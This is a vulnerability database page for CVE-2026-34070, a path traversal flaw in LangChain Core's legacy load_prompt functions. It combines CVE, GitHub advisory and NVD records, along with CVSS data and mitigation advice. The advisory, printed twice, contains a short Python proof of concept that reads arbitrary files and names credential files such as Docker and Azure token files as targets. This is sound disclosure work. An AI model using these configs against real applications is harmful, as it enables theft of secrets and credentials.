Vulnerability-Lookup

CVE-2026-34070 (GCVE-0-2026-34070)

Vulnerability from cvelistv5 – Published: 2026-03-31 02:01 – Updated: 2026-03-31 18:04

Title

LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions

Summary

LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/langchain-ai/langchain/securit…	x_refsource_CONFIRM
	https://github.com/langchain-ai/langchain/commit/…	x_refsource_MISC
	https://github.com/langchain-ai/langchain/release…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	langchain-ai	langchain	Affected: < 1.2.22

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34070",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-31T15:17:33.597003Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-31T18:04:59.283Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "langchain",
          "vendor": "langchain-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.2.22"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-31T02:01:49.320Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54"
        },
        {
          "name": "https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c"
        },
        {
          "name": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22"
        }
      ],
      "source": {
        "advisory": "GHSA-qh6h-p6c9-ff54",
        "discovery": "UNKNOWN"
      },
      "title": "LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34070",
    "datePublished": "2026-03-31T02:01:49.320Z",
    "dateReserved": "2026-03-25T16:21:40.867Z",
    "dateUpdated": "2026-03-31T18:04:59.283Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-34070\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-31T03:15:58.947\",\"lastModified\":\"2026-04-02T17:04:43.713\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22.\"},{\"lang\":\"es\",\"value\":\"LangChain es un framework para construir agentes y aplicaciones impulsadas por LLM. Antes de la versi\u00f3n 1.2.22, m\u00faltiples funciones en langchain_core.prompts.loading le\u00edan archivos de rutas incrustadas en diccionarios de configuraci\u00f3n deserializados sin validar contra salto de directorio o inyecci\u00f3n de ruta absoluta. Cuando una aplicaci\u00f3n pasa configuraciones de prompt influenciadas por el usuario a load_prompt() o load_prompt_from_config(), un atacante puede leer archivos arbitrarios en el sistema de archivos del host, restringido solo por verificaciones de extensi\u00f3n de archivo (.txt para plantillas, .json/.yaml para ejemplos). Este problema ha sido parcheado en la versi\u00f3n 1.2.22.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:langchain:langchain:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"1.2.22\",\"matchCriteriaId\":\"B1D0654C-A99F-4835-9A30-865AEED16BC6\"}]}]}],\"references\":[{\"url\":\"https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-34070\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-31T15:17:33.597003Z\"}}}], \"references\": [{\"url\": \"https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-31T15:17:43.293Z\"}}], \"cna\": {\"title\": \"LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions\", \"source\": {\"advisory\": \"GHSA-qh6h-p6c9-ff54\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"langchain-ai\", \"product\": \"langchain\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 1.2.22\"}]}], \"references\": [{\"url\": \"https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54\", \"name\": \"https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c\", \"name\": \"https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22\", \"name\": \"https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-31T02:01:49.320Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-34070\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-31T18:04:59.283Z\", \"dateReserved\": \"2026-03-25T16:21:40.867Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-31T02:01:49.320Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-QH6H-P6C9-FF54

Vulnerability from github – Published: 2026-03-27 19:45 – Updated: 2026-03-31 18:41

Summary

LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions

Details

Summary

Multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples).

Note: The affected functions (load_prompt, load_prompt_from_config, and the .save() method on prompt classes) are undocumented legacy APIs. They are superseded by the dumpd/dumps/load/loads serialization APIs in langchain_core.load, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.

Affected component

Package: langchain-core File: langchain_core/prompts/loading.py Affected functions: _load_template(), _load_examples(), _load_few_shot_prompt()

Severity

High

The score reflects the file-extension constraints that limit which files can be read.

Vulnerable code paths

Config key	Loaded by	Readable extensions
`template_path`, `suffix_path`, `prefix_path`	`_load_template()`	`.txt`
`examples` (when string)	`_load_examples()`	`.json`, `.yaml`, `.yml`
`example_prompt_path`	`_load_few_shot_prompt()`	`.json`, `.yaml`, `.yml`

None of these code paths validated the supplied path against absolute path injection or .. traversal sequences before reading from disk.

Impact

An attacker who controls or influences the prompt configuration dict can read files outside the intended directory:

.txt files: cloud-mounted secrets (/mnt/secrets/api_key.txt), requirements.txt, internal system prompts
.json/.yaml files: cloud credentials (~/.docker/config.json, ~/.azure/accessTokens.json), Kubernetes manifests, CI/CD configs, application settings

This is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose load_prompt_from_config().

Proof of concept

from langchain_core.prompts.loading import load_prompt_from_config

# Reads /tmp/secret.txt via absolute path injection
config = {
    "_type": "prompt",
    "template_path": "/tmp/secret.txt",
    "input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template)  # file contents disclosed

# Reads ../../etc/secret.txt via directory traversal
config = {
    "_type": "prompt",
    "template_path": "../../etc/secret.txt",
    "input_variables": [],
}
prompt = load_prompt_from_config(config)

# Reads arbitrary .json via few-shot examples
config = {
    "_type": "few_shot",
    "examples": "../../../../.docker/config.json",
    "example_prompt": {
        "_type": "prompt",
        "input_variables": ["input", "output"],
        "template": "{input}: {output}",
    },
    "prefix": "",
    "suffix": "{query}",
    "input_variables": ["query"],
}
prompt = load_prompt_from_config(config)

Mitigation

Update langchain-core to >= 1.2.22.

The fix adds path validation that rejects absolute paths and .. traversal sequences by default. An allow_dangerous_paths=True keyword argument is available on load_prompt() and load_prompt_from_config() for trusted inputs.

As described above, these legacy APIs have been formally deprecated. Users should migrate to dumpd/dumps/load/loads from langchain_core.load.

Credit

jiayuqi7813 reporter
VladimirEliTokarev reporter
Rickidevs reporter
Kenneth Cox (cczine@gmail.com) reporter

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langchain-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T19:45:00Z",
    "nvd_published_at": "2026-03-31T03:15:58Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMultiple functions in `langchain_core.prompts.loading` read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to `load_prompt()` or `load_prompt_from_config()`, an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (`.txt` for templates, `.json`/`.yaml` for examples).\n\n**Note:** The affected functions (`load_prompt`, `load_prompt_from_config`, and the `.save()` method on prompt classes) are undocumented legacy APIs. They are superseded by the `dumpd`/`dumps`/`load`/`loads` serialization APIs in `langchain_core.load`, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.\n\n## Affected component\n\n**Package:** `langchain-core`\n**File:** `langchain_core/prompts/loading.py`\n**Affected functions:** `_load_template()`, `_load_examples()`, `_load_few_shot_prompt()`\n\n## Severity\n\n**High** \n\nThe score reflects the file-extension constraints that limit which files can be read.\n\n## Vulnerable code paths\n\n| Config key | Loaded by | Readable extensions |\n|---|---|---|\n| `template_path`, `suffix_path`, `prefix_path` | `_load_template()` | `.txt` |\n| `examples` (when string) | `_load_examples()` | `.json`, `.yaml`, `.yml` |\n| `example_prompt_path` | `_load_few_shot_prompt()` | `.json`, `.yaml`, `.yml` |\n\nNone of these code paths validated the supplied path against absolute path injection or `..` traversal sequences before reading from disk.\n\n## Impact\n\nAn attacker who controls or influences the prompt configuration dict can read files outside the intended directory:\n\n- **`.txt` files:** cloud-mounted secrets (`/mnt/secrets/api_key.txt`), `requirements.txt`, internal system prompts\n- **`.json`/`.yaml` files:** cloud credentials (`~/.docker/config.json`, `~/.azure/accessTokens.json`), Kubernetes manifests, CI/CD configs, application settings\n\nThis is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose `load_prompt_from_config()`.\n\n## Proof of concept\n\n```python\nfrom langchain_core.prompts.loading import load_prompt_from_config\n\n# Reads /tmp/secret.txt via absolute path injection\nconfig = {\n    \"_type\": \"prompt\",\n    \"template_path\": \"/tmp/secret.txt\",\n    \"input_variables\": [],\n}\nprompt = load_prompt_from_config(config)\nprint(prompt.template)  # file contents disclosed\n\n# Reads ../../etc/secret.txt via directory traversal\nconfig = {\n    \"_type\": \"prompt\",\n    \"template_path\": \"../../etc/secret.txt\",\n    \"input_variables\": [],\n}\nprompt = load_prompt_from_config(config)\n\n# Reads arbitrary .json via few-shot examples\nconfig = {\n    \"_type\": \"few_shot\",\n    \"examples\": \"../../../../.docker/config.json\",\n    \"example_prompt\": {\n        \"_type\": \"prompt\",\n        \"input_variables\": [\"input\", \"output\"],\n        \"template\": \"{input}: {output}\",\n    },\n    \"prefix\": \"\",\n    \"suffix\": \"{query}\",\n    \"input_variables\": [\"query\"],\n}\nprompt = load_prompt_from_config(config)\n```\n\n## Mitigation\n\n**Update `langchain-core` to \u003e= 1.2.22.**\n\nThe fix adds path validation that rejects absolute paths and `..` traversal sequences by default. An `allow_dangerous_paths=True` keyword argument is available on `load_prompt()` and `load_prompt_from_config()` for trusted inputs.\n\nAs described above, these legacy APIs have been formally deprecated. Users should migrate to `dumpd`/`dumps`/`load`/`loads` from `langchain_core.load`.\n\n## Credit\n\n- [jiayuqi7813](https://github.com/jiayuqi7813) reporter\n- [VladimirEliTokarev](https://github.com/VladimirEliTokarev) reporter\n- [Rickidevs](https://github.com/Rickidevs) reporter\n- Kenneth Cox (cczine@gmail.com) reporter",
  "id": "GHSA-qh6h-p6c9-ff54",
  "modified": "2026-03-31T18:41:12Z",
  "published": "2026-03-27T19:45:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34070"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langchain"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions"
}

FKIE_CVE-2026-34070

Vulnerability from fkie_nvd - Published: 2026-03-31 03:15 - Updated: 2026-04-02 17:04

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c	Patch
security-advisories@github.com	https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22	Release Notes
security-advisories@github.com	https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	langchain	langchain	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:langchain:langchain:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B1D0654C-A99F-4835-9A30-865AEED16BC6",
              "versionEndExcluding": "1.2.22",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22."
    },
    {
      "lang": "es",
      "value": "LangChain es un framework para construir agentes y aplicaciones impulsadas por LLM. Antes de la versi\u00f3n 1.2.22, m\u00faltiples funciones en langchain_core.prompts.loading le\u00edan archivos de rutas incrustadas en diccionarios de configuraci\u00f3n deserializados sin validar contra salto de directorio o inyecci\u00f3n de ruta absoluta. Cuando una aplicaci\u00f3n pasa configuraciones de prompt influenciadas por el usuario a load_prompt() o load_prompt_from_config(), un atacante puede leer archivos arbitrarios en el sistema de archivos del host, restringido solo por verificaciones de extensi\u00f3n de archivo (.txt para plantillas, .json/.yaml para ejemplos). Este problema ha sido parcheado en la versi\u00f3n 1.2.22."
    }
  ],
  "id": "CVE-2026-34070",
  "lastModified": "2026-04-02T17:04:43.713",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-31T03:15:58.947",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-34070 (GCVE-0-2026-34070)

GHSA-QH6H-P6C9-FF54

Summary

Affected component

Severity

Vulnerable code paths

Impact

Proof of concept

Mitigation

Credit

FKIE_CVE-2026-34070

Tags

Sightings

Nomenclature